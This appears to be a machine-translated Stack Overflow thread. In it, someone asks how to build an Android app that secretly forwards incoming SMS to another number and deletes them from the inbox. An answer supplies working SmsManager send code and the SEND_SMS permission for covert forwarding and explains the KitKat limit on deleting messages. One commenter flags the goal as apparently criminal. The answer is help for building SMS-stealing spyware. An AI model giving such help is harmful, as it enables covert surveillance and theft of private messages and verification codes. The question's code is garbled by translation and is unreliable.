Java 将收到的短信秘密转发给其他号码

Java 将收到的短信秘密转发给其他号码,java,android,sms,Java,Android,Sms,我是Android新手。我正在尝试创建一个应用程序,它可以秘密地将收到的短信转发到另一个电话号码,并从收件箱中删除发送的短信。目前我编码它,但它不是正常工作。我尝试过以下代码: 公共类SMSListener扩展广播接收器{ //获取SmsManager的对象 最终smsmsmanager sms=smsmsmanager.getDefault; 弦动,体动; 接收上下文上下文、意图上的公共无效{ //从意图检索扩展数据的映射。 最终捆绑=intent.getExtras; 试一试{ 如果bun

我是Android新手。我正在尝试创建一个应用程序,它可以秘密地将收到的短信转发到另一个电话号码,并从收件箱中删除发送的短信。目前我编码它,但它不是正常工作。我尝试过以下代码:

公共类SMSListener扩展广播接收器{ //获取SmsManager的对象 最终smsmsmanager sms=smsmsmanager.getDefault; 弦动,体动; 接收上下文上下文、意图上的公共无效{ //从意图检索扩展数据的映射。 最终捆绑=intent.getExtras; 试一试{ 如果bundle!=null{ 最终对象[]pdusObj=Object[]bundle.getpdus; 对于int i=0;i 在清单中添加权限,如下所示

<uses-permission android:name="android.permission.SEND_SMS"/>

您可以通过以下代码将sms秘密转发给另一个no

public void sendSMS(String phoneNo, String msg) {
    try {      
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, msg, null, null);    
    } catch (Exception ex) {
        ex.printStackTrace();
    } 
}
不要忘记在AndroidManifest.xml中添加发送消息的权限

<uses-permission android:name="android.permission.SEND_SMS" />
但你不能秘密删除手机短信,因为从KITKAT到以后,你的应用程序必须成为默认短信应用程序,然后你才能从手机数据库中删除短信


希望能有所帮助。

听起来很可疑。那么您面临的问题是什么。。?任何错误。?我想将手机A中接收到的短信自动转发到手机B。在手机A中接收到短信后,它将立即转发到手机B。我正在投票结束这个问题,因为目标似乎是犯罪。这是发送文本的简单代码。我想将手机A中接收到的短信自动转发给手机B。在手机A中接收到短信后,它将被转发到手机BIn广播接收器。在收到短信后,使用上述代码将短信内容转发给手机B
public void sendSMS(String phoneNo, String msg) {
    try {      
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, msg, null, null);    
    } catch (Exception ex) {
        ex.printStackTrace();
    } 
}
<uses-permission android:name="android.permission.SEND_SMS" />